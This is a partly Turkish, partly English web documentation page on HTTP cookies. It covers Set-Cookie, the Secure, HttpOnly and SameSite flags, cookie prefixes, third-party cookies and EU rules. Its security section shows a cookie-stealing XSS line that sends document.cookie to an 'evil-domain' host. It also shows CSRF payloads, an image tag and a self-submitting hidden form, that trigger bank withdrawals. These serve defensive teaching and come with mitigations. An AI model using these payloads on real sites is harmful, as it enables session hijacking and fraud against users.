--- title: HTTP çerezleri slug: Web/HTTP/Cookies tags: - HTTP - Sunucu - Tarayıcı - Çerezler translation_of: Web/HTTP/Cookies ---
HTTP çerezi (web çerezi, tarayıcı çerezi), bir sunucunun kullanıcının web tarayıcısına gönderdiği küçük bir veri parçasıdır. Tarayıcı bunu saklayabilir ve bir sonraki istekle aynı sunucuya geri gönderebilir. Genellikle, iki ayrı isteğin aynı tarayıcıdan gelip gelmediğini anlamak için kullanılır - örneğin bir kullanıcının giriş yapmış olarak kalması gibi. HTTP protokolü durumsuz (stateless) olduğu için çerez durum bilgisini hatırlar.
Çerezler temel olarak üç amaç için kullanılır:
Çerezler eskiden genel istemci tarafında depolama amaçlı kullanılmıştır. O zamanlar istemcide veri depolamanın tek yolu bu olduğundan çerez kullanımı mantıklı idi; ancak günümüzde modern depolama API'lerini tercih etmeleri önerilir. Çerezler her istekle birlikte gönderilir, bu yüzden performansı düşürebilirler (özellikle mobil veri bağlantıları için). İstemci depolaması için kullanılan modern API'ler Web storage API (localStorage
ve sessionStorage
) ve IndexedDB'dir.
Depolanmış çerezleri (ve bir web sayfasının kullanabileceği diğer depoları) görmek için, Geliştirici Araçları'nda Depolama Denetçisi'ni (Storage Inspector) etkinleştirebilir ve depolama ağacından Çerezler'i seçebilirsiniz.
Bir HTTP isteği aldığında, sunucu yanıtla beraber bir {{HTTPHeader ("Set-Cookie")}} başlığı gönderebilir. Bu çerez genellikle tarayıcı tarafından depolanır ve daha sonra aynı sunucuya yapılan isteklerde {{HTTPHeader ("Cookie")}} HTTP başlığı içinde gönderilir. Son kullanma tarihi veya kullanım süresi tanımlanabilir, bu süre bitiminde artık çerez gönderilmez. Buna ilaveten, çerezin gönderildiği yeri sınırlayacak belirli bir alan(domain) ve yol(path) için kısıtlamalar konulabilir.
Set-Cookie
ve Cookie
başlıklarıThe {{HTTPHeader("Set-Cookie")}} HTTP yanıt başlığı, sunucudan kullanıcı programa çerezleri gönderir. Basit bir çerez şöyle ayarlanır: :
Set-Cookie: <cookie-adı>=<cookie-değeri>
Sunucudan gelen bu başlık istemciye bir çerezi kaydetmesini söyler.
Set-Cookie
başlığı çeşitli sunucu tarafı uygulamalarda şöyle kullanılır:
HTTP/2.0 200 OK Content-type: text/html Set-Cookie: skor=75 Set-Cookie: tema=dark [page content]
GET /sample_page.html HTTP/2.0 Host: www.example.org Cookie: skor=75; tema=dark
Yukarıda oluşturulan çerez bir oturum çerezidir: istemci kapandığında silinir, çünkü bir Expires
veya Max-Age
direktifi belirtmemiştir. Ancak web tarayıcıları oturum canlandırma (session restoring) özelliğini kullanarak çoğu oturum çerezini sanki tarayıcı hiç kapatılmamış gibi kalıcı yapabilirler.
Kalıcı çerezler, istemci kapandığında zaman aşımına uğramak yerine, belirli bir tarihte (Expires
) veya belirli bir süre sonra (Max-Age
) kullanımdan kalkar.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Not: Son kullanma tarihi belirtildiğinde, saat ve tarih sunucuya göre değil, çerezi tanımlayan istemciye göre ayarlanır.
Secure
ve HttpOnly
çerezleriGüvenli bir çerez, sunucuya yalnızca HTTPS protokolü üzerinden şifrelenmiş bir istekle gönderilebilir. Secure
bayrağı bile olsa, hassas bilgiler asla çerezlerde saklanmamalıdır; çünkü çerezler doğası gereği güvenli değildir ve bu bayrak gerçek bir koruma sağlayamaz. Chrome 52 ve Firefox 52'den itibaren, güvensiz siteler (http:
) Secure
direktifi ile çerezleri ayarlayamamaktadır.
Siteler arası komut dosyası çalıştırma ({{Glossary ("XSS")}}) saldırılarını önlemek için, HttpOnly
çerezlerine JavaScript'in {{domxref ("Document.cookie")}} API'sinden erişilemez; bu çerezler sadece sunucuya gönderilir. Örneğin, sunucu tarafı oturumlarını devam ettiren çerezlerin JavaScript'ten erşilebilir olması gerekmez, ve bunlarda HttpOnly
bayrağı ayarlanmalıdır.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Domain
ve Path
direktifleri çerezin kapsamını yani hangi URL'lere gönderilmesi gerektiğini tanımlar.
Domain
çerezlerin alınmasına izin verilen ana bilgisayarları(host) belirtir. Eğer belirtilmemişse varsayılan değeri alt alanlar hariç şu anki belge konumundaki ana bilgisayardır (host of the current document location). Eğer Domain
belirtilmişse, alt alanlar her zaman dahil edilir.
Örneğin, Domain=mozilla.org
belirtilmişse, çerezler developer.mozilla.org
gibi alt alanlarda dahil edilir.
Path
, Cookie
başlığını gönderebilmek için istenen URL'de bulunması gereken URL yolunu gösterir. %X2F ("/") karakteri dizin ayırıcı olarak kabul edilir ve alt dizinler de eşleşir.
Örneğin, Path=/docs
belirtilmişse, şu yollar eşleşecektir:
/docs
/docs/Web/
/docs/Web/HTTP
SameSite
çerezleri {{experimental_inline}}SameSite
çerezleri, sunucuların siteler arası yapılan isteklerde (buradaki {{Glossary("Site")}} tescilli etki alanı tarafından tanımlıdır) çerez gönderimini engellemesini sağlar, bu da siteler arası sahtecilik saldırılarına ({{Glossary("CSRF")}}) karşı bir miktar koruma sağlar.
SameSite
çerezleri nispeten yenidir ve tüm büyük tarayıcılar tarafından desteklenmektedir.
Örnek:
Set-Cookie: key=value; SameSite=Strict
SameSite özelliği şu iki değerden birini alabilir (büyük/küçük harf duyarlı değil):
Strict
Strict
özelliği ile etiketlenen çerezlerin hiçbiri isteğe dahil edilmez.Lax
Bayrak belirtilmemişse veya tarayıcı tarafından desteklenmiyorsa, varsayılan davranış, çerezleri farklı kaynaklı istekler (cross-origin requests) de dahil her isteğe dahil etmektir.
The design of the cookie mechanism is such that a server is unable to confirm a cookie was set on a secure origin or indeed, tell where a cookie was originally set. Recall that a subdomain such as application.example.com
can set a cookie that will be sent with requests to example.com
or other sub-domains by setting the Domain attribute:
Set-Cookie: CSRF=e8b667; Secure; Domain=example.com
If a vulnerable application is available on a sub-domain, this mechanism can be abused in a session fixation attack. When the user visits a page on the parent domain (or another subdomain), the application may trust the existing value sent in the user's cookie. This could allow an attacker to bypass CSRF protection or hijack a session after the user logs in.
Alternatively, if the parent domain does not use {{Glossary("HSTS")}} with includeSubdomains
set, a user subject to an active MitM (perhaps connected to an open WiFi network) could be served a response with a {{HTTPHeader("Set-Cookie")}} header from a non-existent sub-domain. The end result would be much the same, with the browser storing the illegitimate cookie and sending it to all other pages under example.com
.
Session fixation should primarily be mitigated by regenerating session cookie values when the user authenticates (even if a cookie already exists) and by tieing any CSRF token to the user. As a defence in depth measure, however, it is possible to use cookie prefixes to assert specific facts about the cookie. Two prefixes are available:
__Host-
Secure
, does not include a Domain
attribute and was sent from a secure origin. In this way, these cookies can be seen as "domain-locked".__Secure-
Secure
and was sent from a secure origin. This is weaker than the __Host-
prefix.Cookies sent which are not compliant will be rejected by the browser. Note that this ensures that if a sub-domain were to create a cookie with this name, it would be either be confined to the sub-domain or ignored completely. As the application server will only check for a specific cookie name when determining if the user is authenticated or a CSRF token is correct, this effectively acts as a defence measure against session fixation.
On the application server, the web application must check for the full cookie name including the prefix—user agents will not strip the prefix from the cookie before sending it in a request's {{HTTPHeader("Cookie")}} header.
For more information about cookie prefixes and the current state of browser support, see the Set-Cookie section.
Document.cookie
New cookies can also be created via JavaScript using the {{domxref("Document.cookie")}} property, and if the HttpOnly
flag is not set, existing cookies can be accessed from JavaScript as well.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
Cookies created via JavaScript cannot include the HttpOnly
flag.
Please note the security issues in the Security section below. Cookies available to JavaScript can be stolen through XSS.
Information should be stored in cookies with the understanding that all cookie values will be visible to and can be changed by the end-user. Depending on the application, it may be desirable to use an opaque identifier which is looked-up server-side or investigate alternative authentication/confidentiality mechanisms such as JSON Web Tokens.
Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an {{Glossary("XSS")}} vulnerability in the application.
(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;
The HttpOnly
cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Exfiltration avenues can be limited by deploying a strict Content-Security-Policy.
Wikipedia mentions a good example for {{Glossary("CSRF")}}. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. For endpoints that require a POST request, it's possible to programmatically trigger a <form>
submit (perhaps in an invisible <iframe>
) when the page is loaded:
<form action="https://bank.example.com/withdraw" method="POST"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
There are a few techniques that should be used to prevent this from happening:
<form>
elements via a hidden input field. This token should be unique per user and stored (for example, in a cookie) such that the server can look up the expected value when the request is sent. For all non-GET requests that have the potential to perform an action, this input field should be compared against the expected value. If there is a mismatch, the request should be aborted.
Strict
or Lax
. (See SameSite cookies above). In supporting browsers, this will have the effect of ensuring that the session cookie is not sent along with cross-site requests and so the request is effectively unauthenticated to the application server.Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).
If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikimedia Foundation's cookie statement.
There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.
Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.
In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners (AKA "cookie banners") since then to inform the user about the use of cookies.
For more, see this Wikipedia section and consult state laws for the latest and most accurate information.
A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.